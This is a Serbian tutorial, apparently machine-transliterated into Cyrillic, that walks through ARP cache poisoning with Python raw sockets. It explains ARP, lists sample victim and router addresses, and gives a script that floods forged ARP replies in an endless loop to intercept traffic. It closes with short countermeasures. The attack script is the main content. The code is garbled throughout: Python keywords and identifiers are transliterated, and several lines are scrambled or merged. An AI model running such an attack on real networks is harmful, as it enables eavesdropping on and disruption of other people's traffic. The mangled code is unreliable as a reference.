Напад тровања АРП -ом сировим утичницама у Питхону

Преглед садржаја

Данас ћу вас научити како спровести напад тровања АРП -ом (Тровање АРП кеш меморијом). За то користићу сирове утичнице у питхону, циљ је да видите како ова врста утичница функционише, да научите како овај напад функционише или да можете да извршите тестове на својој мрежи (иако на мрежи већ постоје алати за то), а не да га користите за злонамерне сврхе.

БелешкаУз сцапи можете брже и лакше имплементирати овај посао, али гледајући овај водич моћи ћете користити знање за кориштење библиотеке и сами, ако бисмо то учинили обрнуто, то би вас коштало више. Метода приказана овде ради само на Линук системима.

Мали детаљи које бисте требали знати
АРПТо је протокол за разрешавање адреса који се налази на мрежном слоју. Његова мисија је пронаћи МАЦ адресу (физичку адресу) која одговара одређеној ИП адреси (мрежна адреса).
АРП кешевиСваки уређај има малу меморију у којој се чувају МАЦ - ИП преводи, ми ћемо то искористити у овом нападу. Ова кеш меморија постоји јер избегава додатне трошкове тражења превода сваки пут када се повежемо на други уређај.

Тхе Рад протокола АРП Једноставно је, када некоме пошаљете пакет, провериће се кеш меморија уређаја, ако постоји тај превод, биће потребно да пошаље пакет, ако нема АРП -а, послаће пакет за емитовање (посебан је, има одредишну МАЦ адресу фф: фф: фф: фф: фф: фф), овај пакет ће стићи до свих уређаја на мрежи и "питаће" ко има тражену ИП адресу, сваки уређај када види посебан МАЦ ће прочитати пакет, и само онај са адресом Претражени ИП ће одговорити указујући на његов МАЦ, у том тренутку ће бити ускладиштен у кешу, како не би морао да тражи поново у наредних неколико минута.

Тхе Напад тровања АРП -ом Користи се за шпијунирање података који пролазе кроз мрежу, а можемо их користити и тако да подаци не досегну одредишта на која иду. Овај напад се састоји од сталног слања АРП пакета на мрежу који показују да наш МАЦ одговара ИП -у жртве и да је наш МАЦ повезан са ИП -ом рутера. Морамо стално слати пакете јер се ради о динамичком протоколу, па се предмеморија мења, могуће је да је превод избрисан, ажуриран стварним подацима, тако да се побринемо да пакете шаљемо свако мало, они нису веома тешки, па неће нормално преоптеретити мрежу.

БелешкаАРП је протокол који се користи само у ИПв4, стога овај напад не важи за ИПв6, али се тровање може извести тако што ће се искористити предност другог протокола, попут НДП -а, који се користи за откривање "суседа" у мрежи .

За почетак нашег примера морамо знати ИП адресе жртве и мрежни пролаз рутера, као и његов МАЦ, можете користити нмап за откривање активних уређаја у вашој мрежи, а МАЦ се може лако добити, на пример. да отровам кеш адресу 192.168.66.2, која ће бити моја жртва (виртуелна машина), извршићу следеће у цмд -у или терминалу:

 Виндовс -> Пинг 192.168.66.2 -н 1 Уник -> Пинг 192.168.66.2 -ц 1
-Ц и -н означавају да треба послати само један пакет, сваки оперативни систем има различите параметре. Касније смо ставили:
 харфа
Он ће означавати АРП кеш меморију, па можемо видети преводе које смо ускладиштили (а претходно смо извршили пинг већ имамо превод са жртвом). Исто морамо учинити и са мрежним пролазом рутера:

Затим ћу ставити све податке које морамо имати при руци:

  • Жртва -> 192.168.66.2 / МАЦ: 00: 50: 56: е3: д1: 75
  • Рутер -> ИП: 192.168.66.1 / МАЦ: 00: 50: 56: ц0: 00: 08
  • Мој рачунар -> ИП: 192.168.66.128 / МАЦ: 00: 0ц: 29: 5е: цб: 5ф

Ставио сам комплетан код и објаснио га у наставку, ради за Питхон у верзији 2.к, али са малим изменама можете га прилагодити верзији 3.к:

 импорт соцкет време увоза, струцт, бинасции цоннецтион = соцкет.соцкет (соцкет.ПФ_ПАЦКЕТ, соцкет.СОЦК_РАВ, соцкет.нтохс (0к0800)) цоннецтион.бинд (("енс33", соцкет.хтонс (0к0800))) мацОриген = "\ к00 \ к0ц \ к29 \ к5е \ кцб \ к5ф "мацВицтима =" \ к00 \ к50 \ к56 \ ке3 \ кд1 \ к75 "мацРоутер =" \ к00 \ к50 \ к56 \ кц0 \ к00 \ к08 "цоде =" \ к08 \ к06 "цоммонпацкаге = мацОриген + код етх1 = мацВицтима + цоммонпацкаге етх2 = мацРоутер + цоммонпацкаге ХардвареТипе =" \ к00 \ к01 "протоцолТипе =" \ к08 \ к00 "ХардвареЛенгтх =" \ к06 "ПротоцолЛенгтх =" \ к04 "кЦоде =" ОператионЦоде = " "ОператионЦоде =" \ к04 "\ к02" СхаредХеадер = ХардвареТипе + ПротоцолТипе + ХардвареЛенгтх + ПротоцолЛенгтх + ОператионЦоде + мацОриген ипРоутер = соцкет.инет_атон ("192.168.66.1") ипВицтима = соцкет.инет_атин + МацВицтоутерХеад = етх1 + МацВицтоутерЦомпартида + заглавље ипВицтима арпРоутер = етх2 + СхаредХеадер + ипВицтима + мацРоутер + ипРоутер испис ("Тровање предмеморије … за заустављање ЦТРЛ + Ц") док је Труе: цоннецтион.сенд (арпРоутер) цоннецтион.сенд (арпРоутер) цоннецтион. ) тиме.слееп (1)
Прво што урадимо је увоз потребних библиотека, за које није потребно додатно објашњење. Наставимо са следећим редовима:
 цоннецтион = соцкет.соцкет (соцкет.ПФ_ПАЦКЕТ, соцкет.СОЦК_РАВ, соцкет.нтохс (0к0800)) цоннецтион.бинд (("енс33", соцкет.хтонс (0к0800)))
Прва линија ствара утичницу са следећим карактеристикама:
  • ПФ_ПАЦКЕТ: За слање и примање пакета на ниском нивоу.
  • СОЦК_РАВ: За коришћење сирових утичница.
  • соцкет.хтонс (0к0800): 0к0800 ће дефинисати протокол ЕТХ_П_ИП, функција нтохс претвара мрежни формат у бајтове у одговарајућем формату за наш рачунар (с значи кратко, односно 16 бита, да има л, било би 32 бита).

А други ће бити задужен за постављање утичнице за „слушање“:

  • енс33: То је мрежни интерфејс на којем ћемо радити, ваш може бити етх0, ако користите ифцонфиг видећете га (погледајте слику испод).
  • соцкет.хтонс (0к800): исто као што је раније речено.

Редови које видимо у наставку креираће Етхернет заглавља, за ово успостављамо МАЦ -ове и код (онај који стављамо припада АРП протоколу), ако желите да сазнате више о Етхернету кликните овде:

 мацОриген = "\ к00 \ к0ц \ к29 \ к5е \ кцб \ к5ф" мацВицтима = "\ к00 \ к50 \ к56 \ ке3 \ кд1 \ к75" мацРоутер = "\ к00 \ к50 \ к56 \ кц0 \ к00 \ к08" код = "\ к08 \ к06" цоммонпацкаге = мацСоурце + цоде етх1 = мацВицтима + цоммонпацкаге етх2 = мацРоутер + цоммонпацкаге
Следећи део кода саставља АРП пакете, да бисте погледали структуру, посетите следећу везу и идите на одељак о структури пакета. Операцијски код \ к00 \ к02 означава да је то пакет одговора (да је 1 то би био захтјев), а функција соцкет.инет_атон () претвара ИПв4 адресу у 32-битни бинарни формат. Као што сте видели у претходном коду, а сада за креирање пакета повезујемо његове делове.
 ХардвареТипе = "\ к00 \ к01" ПротоцолТипе = "\ к08 \ к00" ХардвареЛенгтх = "\ к06" ПротоцолЛенгтх = "\ к04" ОператионЦоде = "\ к00 \ к02" Дељено заглавље = ХардвареТипе + ПротоцолТипе + ХардвареЛенгтх + Оператинг ПротоцолПротоцолЛенгтх +. = соцкет.инет_атон ("192.168.66.1") ипВицтима = соцкет.инет_атон ("192.168.66.2") арпВицтима = етх1 + дељено заглавље + ипРоутер + мацВицтима + ипВицтима арпРоутер = етх2 + дељено заглавље + ипВицтер + маР
Последњи део кода приказује поруку да зна да ради и улази у бесконачну петљу која ће слати пакете који ће отровати предмеморију наше жртве и мрежни пролаз рутера, то ради сваке секунде откако спавамо.
 принт ("Тровање кеширања … за заустављање ЦТРЛ + Ц") док је Труе: цоннецтион.сенд (арпРоутер) цоннецтион.сенд (арпВицтима) тиме.слееп (1)
Да видимо како изгледа извршавање програма (морамо покрени као роот корисник):

Ако погледамо кеш жртве, можемо видети да је његова ИП адреса сада повезана са МАЦ -ом нападача:

Противмере

  • Употреба статичке АРП табеле, ручно додајемо уносе и не допуштамо да се разликују.
  • Консултовати Реверсе АРП, овај протокол ће вратити ИП адресу са МАЦ -а, па ако врати више од једне ИП адресе, вероватно је да смо лажни.

Ове мере захтевају минимално знање, па неће сви моћи да их спроведу, али ако погледате наш одељак о питањима безбедности ИТ -а или упутства, сигурно ћете пронаћи помоћ.

У случају да желите код, ево поштански број:

Преузмите код АрпПоисонинг.зип 579 бајтова 116 Преузимања

Да ли вам се допао и помогао овај водич?Можете наградити аутора притиском на ово дугме да бисте му дали позитиван поен
wave wave wave wave wave